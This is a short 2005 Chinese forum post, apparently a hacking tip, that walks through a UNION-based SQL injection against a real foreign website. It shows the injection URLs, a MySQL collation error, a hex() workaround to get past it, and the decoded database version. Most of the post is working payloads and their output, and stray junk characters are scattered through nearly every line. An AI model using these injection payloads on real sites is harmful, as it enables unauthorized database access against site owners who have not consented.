本文作者:SuperHei1 j" q+ `" z* a+ l0 H4 b
文章性质:原创
* U! {: _. f i9 ~9 V1 n发布日期:2005-10-18
5 P# x$ M5 }( H% Y测试个国外的站时:
1 ]- P/ L" z! }url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
. Y! b/ S3 e0 z/ y4 ~返回错误:- r' C0 t4 {5 L5 \% ~8 z8 y
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
* @ T4 i) M) |/ _5 xMySQL Error No. 126
3 Q& a% g2 l2 V" ~6 g' ^看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
) ^4 ?; e! S; \' ]# A B: v, p: D解决办法:转为其他编码如hex。- S. ?5 Q; A8 g& Y/ e- \. B0 }" V. ?
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*5 V3 B; a& s) o4 e7 u: R
成功得到hex(version())的值为:7 R8 k6 k6 K, u- C2 ?; T" s% D( y
342E312E332D62657461. v( j0 g4 z; `" i3 Q
回Mysql查询下得到:
# }! Y: i# O4 c6 bmysql> select 0x342E312E332D62657461;- @6 Z* i6 H% Q' a" |' e
+------------------------+
3 L: T. e/ E8 Q6 Q8 W1 I: {| 0x342E312E332D62657461 |
6 h9 g! d0 Q. k+ B+------------------------+. d+ G) `* ?2 U/ X0 F Z1 P
| 4.1.3-beta |
0 Z7 c7 a3 w% W6 y$ Y+------------------------+4 o, z- X; b3 L- f3 P0 ^$ l
1 row in set (0.00 sec)! L2 a% g1 ]8 u2 Y( ^) }! W+ i
1 k4 m6 c6 q/ B, q |